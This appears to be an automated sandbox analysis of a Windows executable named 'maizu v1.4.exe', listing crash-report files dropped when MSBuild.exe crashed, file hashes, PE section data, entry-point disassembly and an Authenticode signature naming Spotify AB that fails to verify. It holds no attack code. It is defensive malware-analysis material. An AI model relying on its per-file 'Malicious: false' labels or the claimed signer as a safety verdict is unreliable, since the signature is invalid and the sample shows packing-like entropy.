f.8.c.9.b.d.!.M.S.B.u.i.l.d...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.1.9././.1.1././.2.4.:.0.8.:.2.8.:.1.4.!.4.4.c.f.1.!.M.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_MSBuild.exe_c365489cdde0dec8a471982681e3951dad25868_2f54229f_d92b5131-cb13-41e5-890b-d0dd2d67f1f5\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.0168098737123699
Encrypted:	false
SSDEEP:	192:QnAcOwOfT0FxNijem+NzuiF1Z24IO8f4gX:mgBfAFxNijszuiF1Y4IO8f4
MD5:	84F207EEDA8CE72756077F92C420C002
SHA1:	86876998C9055EEAFE263B7DEECD09B0D836395D
SHA-256:	DEA2EEBF89D30486B7C10FC07BCA1AA5897DE0A6296E27304150BE46966CD9AA
SHA-512:	A25CC7B15C8241FB688F046D16A41AC7C32ECF698BCB7184C1F0A698E766B377A8EC1DE4AD12E8300BDB8B6FFF41D581F352E45113FF07F6CFC74EC08AB3B7D0
Malicious:	false
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.2.7.4.9.8.4.7.4.4.7.7.7.0.7.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.d.9.2.b.5.1.3.1.-.c.b.1.3.-.4.1.e.5.-.8.9.0.b.-.d.0.d.d.2.d.6.7.f.1.f.5.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.5.f.6.4.5.d.1.3.-.6.c.2.a.-.4.1.1.4.-.a.8.e.2.-.e.9.8.2.2.4.d.b.2.e.4.1.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.M.S.B.u.i.l.d...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.M.S.B.u.i.l.d...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.6.c.8.-.0.0.0.1.-.0.0.1.4.-.0.1.b.0.-.c.e.8.7.7.3.1.8.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.f.5.1.9.f.e.e.c.4.8.6.d.e.8.7.e.d.7.3.c.b.9.2.d.3.c.a.c.8.0.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.e.6.2.5.6.a.0.1.5.9.6.8.8.f.0.5.6.0.b.0.1.5.d.a.4.d.9.6.7.f.4.1.c.b.f.8.c.9.b.d.!.M.S.B.u.i.l.d...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.1.9././.1.1././.2.4.:.0.8.:.2.8.:.1.4.!.4.4.c.f.1.!.M.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7591.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Mon Oct 7 04:44:08 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	103726
Entropy (8bit):	2.0254670379286184
Encrypted:	false
SSDEEP:	384:n+IzC4XQkBKwajIkDdOq1/iCja9z93gfUX4PMXwfbZtOiscHGU:bVXQkBKNIkDdOqQO/ODIGU
MD5:	6105B2EB2085620BDB8643189661EAF6
SHA1:	578DB485DD65332636723957F66CFBD9B4FE7E6A
SHA-256:	6B1A79BC42C18E3A86649855F0515C51F86009744BF5CA03A98989BDED36E623
SHA-512:	84884AA5439A09B8A416F49CE0E6711881B52AFC0FC670CADFAC2424A28AE9561F7AC46AF19F6AC61FBE93573B84A0715B4698BA3762DCF978944F285624DAE7
Malicious:	false
Reputation:	low
Preview:	MDMP..a..... ........g.g....................................<....!...........D..........`.......8...........T............?...U...........!...........#..............................................................................eJ......@$......GenuineIntel............T............g.g.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER791D.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	6366
Entropy (8bit):	3.7177623012556493
Encrypted:	false
SSDEEP:	96:RSIU6o7wVetbdp6RzYqJtOOxD5aMhUt89bcFsf4NvUm:R6l7wVeJdp6lYqJtOUput89bcFsf4VUm
MD5:	68603BBFA60172293414F32430C27BB7
SHA1:	EC744CC8A8D699031F5D324B3138E3FA302C5126
SHA-256:	13D37350B7B6D000377CA4591C7F718E767C52268DFAAFAE83807A58091742C7
SHA-512:	5DA6065224A699E51BAA68E568248CFA14CC693A12429E485ABD75CCA2569AC832277B811E388AB9F07929AE779237289489AE28F8683DD7239FE9CADB31ED48
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.5.8.3.2.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER795C.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4743
Entropy (8bit):	4.446503484119198
Encrypted:	false
SSDEEP:	48:cvIwWl8zsJJg77aI9u2KNWpW8VYeYm8M4JSmFwS+q8vXX0mLmd:uIjfbI7E2K87ViJCSK0mLmd
MD5:	88FE4F804310BB50E80315CAD2611B9B
SHA1:	111EB4F9B1191B006C53A6B813B8D49AAC612E3D
SHA-256:	71328248C5771F797E747CE64669DC6DD4BFA8442D5F09A48BE1B212E007AA90
SHA-512:	1B0EA1C4750572F59598F7A9C862D674D3E5917472A5860369C048E3ED4C72A58B7BFD0EF5E2497BD1FD0849F78797BD797F6D897D993A0D8B58C53196605B38
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="532546" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7D90.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Mon Oct 7 04:44:09 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	102864
Entropy (8bit):	2.0336955109584807
Encrypted:	false
SSDEEP:	384:SvXzCh7kBunwNjIkwLeOq1G1xjsUASvmhY3sfQXEPoXOksx7RRDON:4G7kBWeIkwiOqOIUJeis3ON
MD5:	BA5D2FFF02146A7796E498431AB23323
SHA1:	0B74294F358EF3E1BCD0CBB2EACA36753803EFD9
SHA-256:	9FF9F7FA3518D07283CE974F1E297BBBCCC656A154636EC613C3F878F7AACDD2
SHA-512:	50E2942017B9E2571EC1C85AF7B3EEF53E0E56FD907693854630F23146E104C968E596AE3448B6C8EFC366F8CABDDF72C6C70A78D4C6B2B67E64605B809E39E8
Malicious:	false
Preview:	MDMP..a..... ........g.g....................................<....!...........D..........`.......8...........T............>...S...........!...........#..............................................................................eJ......@$......GenuineIntel............T............g.g.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7E3D.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	6366
Entropy (8bit):	3.7159082739854976
Encrypted:	false
SSDEEP:	96:RSIU6o7wVetbdE6RaYqJtOUJBxD5aMhUj89blFsfGXm:R6l7wVeJdE6sYqJtOKFpuj89blFsfGXm
MD5:	13F268CC54260FC5A97C2328759A0A16
SHA1:	261FE3F5E9691A692F057294D8437878E4F77DDA
SHA-256:	7C4AEC4C4E601D840DB2EE4073DCD38A47AE1A271EC87F454D83CF02EDE68818
SHA-512:	D37774B6EFC1071FB911EDDB4275B7128562F2ED176E880517B9860CE5BF77C3355827D792A3E656E3E1B937E190A0F019723788B01BFABEBD3B08265BF56C36
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.5.8.3.2.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7E5D.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4743
Entropy (8bit):	4.4498567936778155
Encrypted:	false
SSDEEP:	48:cvIwWl8zsJJg77aI9u2KNWpW8VYQYm8M4JSmFpI+q8vXX0mLmd:uIjfbI7E2K87VgJYK0mLmd
MD5:	602202D6897E1ED39EDDF89338C930E3
SHA1:	0686395B7C052A1B4B67C209EF355A458A4C0702
SHA-256:	69CB32FB9B680509AD4BD83B73A36237E2B1A3DA936C54B79B9B9F60767AD027
SHA-512:	BD744676CA7CBDE6EBE86EFF70C9FC2432837BD288A87F35C19841595A842030E12FF36A1018352A7415E3649F8A5D7A9D124635F5BEEF46126EB935216FC57C
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="532546" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8030.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Mon Oct 7 04:44:10 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	103430
Entropy (8bit):	2.0660113639088973
Encrypted:	false
SSDEEP:	384:NBE3JzChLkBcFwEQdLrW9pTq1CTp5IF6ytoT8jgzUD4TMUWkFVZSc:g5WLkBcFArSpTquIUbzn
MD5:	62665DD18A4474019F5CFB1C3FF275B3
SHA1:	001F64BC977C69FEAF55A3E3ECB6B2220796FADB
SHA-256:	937594AC5F3D5F911E8A29F978FBF6AE1B0925E2567C9D8B8BA4BFEDD6F59A1A
SHA-512:	27169A3B3075CCD7F59A9F0E201A2C3969FEEB1BF4F668D6D18D5934447C673443A5C963D26DF9A97A0EB46FED8464EA1029E5EB462B91888DE085A966EF0D74
Malicious:	false
Preview:	MDMP..a..... ........g.g....................................<....!...........D..........`.......8...........T............>..&U...........!...........#..............................................................................eJ......@$......GenuineIntel............T............g.g.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER811B.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	6352
Entropy (8bit):	3.732202572071941
Encrypted:	false
SSDEEP:	96:RSIU6o7wVetbd06RQYNKJlPxD5aM4U889bVFsf6nm:R6l7wVeJd06mYkJlbpr889bVFsf6nm
MD5:	DE4A3D5E01EDC18F7C35136403E5E6C8
SHA1:	E560F205C5604EC0311DBE00878EA03960371F20
SHA-256:	1E06306FB2EE7C898C1889348B6805259E5B3629E37FE3EB7DE6A82EF8CDC021
SHA-512:	81C1922C6027EBECB9C7DF3D6C46095E85E243E177444CBBF52EC0185098DC961246F7FE075F93E2BE26B2BADBEE1C77C8E451F2F14ED9C58E1C0055B71AD271
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.5.8.3.2.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER813C.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4692
Entropy (8bit):	4.514488175604082
Encrypted:	false
SSDEEP:	48:cvIwWl8zsJJg77aI9u2KNWpW8VY4Ym8M4JSjF5+q8W10mLmd:uIjfbI7E2K87VIJYemLmd
MD5:	CDC3E2C60DE30DE4DF988C1A0127F666
SHA1:	8A2C7FAA5CCE83F02C04E6542CBA23031537F520
SHA-256:	FEF24E7DCB9121B591C93298CB09D6ED6F80603C5ED10D5E6AAB8469B49ACAF4
SHA-512:	20352CFC9E4504B4CEED8ED79F6C8DFCF750BCDF14F69998917FE87F1FE8F6C90AF3669AA69BE0C8C4D3184AC309193047DC9A60FF07CC8A7F2418E045B37FD4
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="532546" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.4223852682106575
Encrypted:	false
SSDEEP:	6144:aSvfpi6ceLP/9skLmb0OT3WSPHaJG8nAgeMZMMhA2fX4WABlEnNP0uhiTw:JvloT3W+EZMM6DFy503w
MD5:	E60699033ED6D1D271D3EC9523B53DA1
SHA1:	A600250A98DE769702CAEC60BDB62F9917EF5ADD
SHA-256:	927721F544DE80C0CE0340DB98AD782E645A27558F9A69EB8126B2A02715EFC2
SHA-512:	ACFA9266F91B19B418CAF9913B6C24336A3C5EC8476612F77288E8FEA50685B35B90843D93F60E3224ABB81FDD0312FFE8543B21F928368D2152FA6264702A24
Malicious:	false
Preview:	regf@...@....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm.U..s...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.730504553209556
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	maizu v1.4.exe
File size:	560'504 bytes
MD5:	38a5c7e69cb36a95a2f6089d741487dd
SHA1:	a2c46a00507c4f62d9df5d41744b33d050ad761b
SHA256:	f215be7bd064409b81502fcda1727c25f241c9424f3c648c78d00357cdea2a7d
SHA512:	19187196bcb68bca191b5aa0244f9c660c2721d4360e959e32249119a4a0920b04ffac25c616ffc230c702c9082b0c871c42534ae8fc4d5a950f64b1b7ed661d
SSDEEP:	12288:dKnisbcp34ck3hQ510EF7RT51VgZ9UDBs7QoX1XaJcWiFqPEEh9Cmoda/fnArUrS:dKFbcRW3a5104gDyOtFsAFqPEESm/nmt
TLSH:	80C4F111B5C084B2C93318320AE4DAB05F7EB9314F614E9FA7954F7B4F223D1D725AAA
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........9...WU..WU..WU.TT..WU.RTR.WU.ST..WU.VT..WU..VU..WU.cTT..WU.cST..WU.cRT..WU.b^T..WU.b.U..WU.bUT..WURich..WU........PE..L..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x406c99
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x67028C50 [Sun Oct 6 13:10:40 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	a60bdb87c5f6c8156150002e03d82eb0

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1, O="DigiCert, Inc.", C=US
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	22/09/2022 02:00:00 20/10/2023 01:59:59
Subject Chain	CN=Spotify AB, O=Spotify AB, L=Stockholm, C=SE, SERIALNUMBER=5567037485, OID.2.5.4.15=Private Organization, OID.1.3.6.1.4.1.311.60.2.1.3=SE
Version:	3
Thumbprint MD5:	EF8873EED657F2DFE432077ADBAB8AFB
Thumbprint SHA-1:	3F76C6CC576963831FF44303BFCB98113C51C95E
Thumbprint SHA-256:	890C79F427B0C07DEF096FF66A402E9337F0F2D80DACA1256A7F572F7720DBAA
Serial:	04C530703A210EC1D6F83CB4FE1118C5

Entrypoint Preview

Instruction
call 00007FD184822559h
jmp 00007FD184821ABFh
push ebp
mov ebp, esp
mov eax, dword ptr [ebp+08h]
push esi
mov ecx, dword ptr [eax+3Ch]
add ecx, eax
movzx eax, word ptr [ecx+14h]
lea edx, dword ptr [ecx+18h]
add edx, eax
movzx eax, word ptr [ecx+06h]
imul esi, eax, 28h
add esi, edx
cmp edx, esi
je 00007FD184821C5Bh
mov ecx, dword ptr [ebp+0Ch]
cmp ecx, dword ptr [edx+0Ch]
jc 00007FD184821C4Ch
mov eax, dword ptr [edx+08h]
add eax, dword ptr [edx+0Ch]
cmp ecx, eax
jc 00007FD184821C4Eh
add edx, 28h
cmp edx, esi
jne 00007FD184821C2Ch
xor eax, eax
pop esi
pop ebp
ret
mov eax, edx
jmp 00007FD184821C3Bh
push esi
call 00007FD18482286Dh
test eax, eax
je 00007FD184821C62h
mov eax, dword ptr fs:[00000018h]
mov esi, 0048554Ch
mov edx, dword ptr [eax+04h]
jmp 00007FD184821C46h
cmp edx, eax
je 00007FD184821C52h
xor eax, eax
mov ecx, edx
lock cmpxchg dword ptr [esi], ecx
test eax, eax
jne 00007FD184821C32h
xor al, al
pop esi
ret
mov al, 01h
pop esi
ret
push ebp
mov ebp, esp
cmp dword ptr [ebp+08h], 00000000h
jne 00007FD184821C49h
mov byte ptr [00485550h], 00000001h
call 00007FD184821F03h
call 00007FD184824E20h
test al, al
jne 00007FD184821C46h
xor al, al
pop ebp
ret
call 00007FD18482D884h
test al, al
jne 00007FD184821C4Ch
push 00000000h
call 00007FD184824E27h
pop ecx
jmp 00007FD184821C2Bh
mov al, 01h
pop ebp
ret
push ebp
mov ebp, esp
cmp byte ptr [00485551h], 00000000h
je 00007FD184821C46h
mov al, 01h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2b680	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x87000	0x1d5	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x86400	0x2978
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x88000	0x1abc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x29ba0	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x29ae0	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x22000	0x128	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x20e30	0x21000	637ddfa10e3f30fd92e840bc22af36af	False	0.584524443655303	data	6.648133130723327	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x22000	0x9d24	0x9e00	5560ef760cde5ea9d7ea66607fde9d58	False	0.4350771360759494	data	4.958389346215748	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x2c000	0x5a178	0x59400	859bb423ec3aee07ee25c2bb2dc3ccaf	False	0.9910933123249299	DOS executable (block device driver \377\377\377\377,32-bit sector-support)	7.9923129104231965	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x87000	0x1d5	0x200	294c8360e236b29b92f4383e45969db5	False	0.525390625	data	4.7176788329467545	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x88000	0x1abc	0x1c00	123720451a4076bfe737b394fc87356d	False	0.7269810267857143	data	6.378411840805641	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x87058	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL

Import

KERNEL32.dll

